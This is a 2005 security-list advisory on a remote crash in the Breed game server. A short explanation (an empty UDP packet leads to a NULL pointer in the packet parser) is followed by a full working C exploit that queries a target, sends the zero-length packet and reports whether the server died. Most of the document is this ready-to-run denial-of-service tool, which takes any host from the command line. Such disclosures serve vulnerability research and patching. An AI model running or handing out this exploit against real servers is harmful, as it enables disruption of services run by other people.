[NT] Breed Malfored UDP DoS

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To: list@securiteam.com
Date: 17 Jan 2005 14:06:08 +0200

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  Breed Malfored UDP DoS
------------------------------------------------------------------------

SUMMARY

Breed is "a game developed by <http://www.brat-designs.com> Brat Designs
using their Mercury engine". A vulnerability in Breed allows a remote
attacker to cause the server to crash by sending a malformed packet.

DETAILS

The Breed game server can be easily crashed through the sending of an
empty UDP packet. In fact if the packet size is equal to zero, the game
passes a NULL pointer to the function used to parse the packet's content.

Exploit:
/*

by Luigi Auriemma - http://aluigi.altervista.org/poc/breedzero.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
    #define ONESEC 1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC 1
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define PORT 7649
#define TIMEOUT 3

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
*)&peer, sizeof(peer)) \
                  < 0) std_err();
#define RECV if(timeout(sd) < 0) { \
                    fputs("\n" \
                        "Error: socket timeout, no reply received\n" \
                        "\n", stdout); \
                    exit(1); \
                } \
                len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                if(len < 0) std_err();

void show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
            len;
    u_short port = PORT;
    u_char *buff,
            query[] =
                "\xfe\xfd\x00\x00\x00\x00\x00\xff\x00\x00";

    setbuf(stdout, NULL);

    fputs("\n"
        "Breed <= patch #1 zero-length crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    buff = malloc(BUFFSZ + 1);
    if(!buff) std_err();

    fputs("- request informations:\n", stdout);
    *(u_long *)(query + 3) = time(NULL) ^ 0x12345678;
    SEND(query);
    RECV;
    show_info(buff, len);

    fputs("- send zero-length packet\n", stdout);
    SEND("");

    sleep(ONESEC);

    fputs("- check server:\n", stdout);
    *(u_long *)(query + 3) = time(NULL) ^ 0x87654321;
    SEND(query);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}

void show_info(u_char *data, int len) {
    u_char *p,
            *limit;
    int nt = 0;

    limit = data + len;
    data += 5;
    while(data < limit) {
        p = strchr(data, 0x00);
        if(!p) break;
        *p = 0x00;

        if(!nt) {
            if(data == p) break;
            printf("%30s: ", data);
            nt++;
        } else {
            printf("%s\n", data);
            nt = 0;
        }
        data = p + 1;
    }
    fputc('\n', stdout);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/breedzero-adv.txt>
http://aluigi.altervista.org/adv/breedzero-adv.txt

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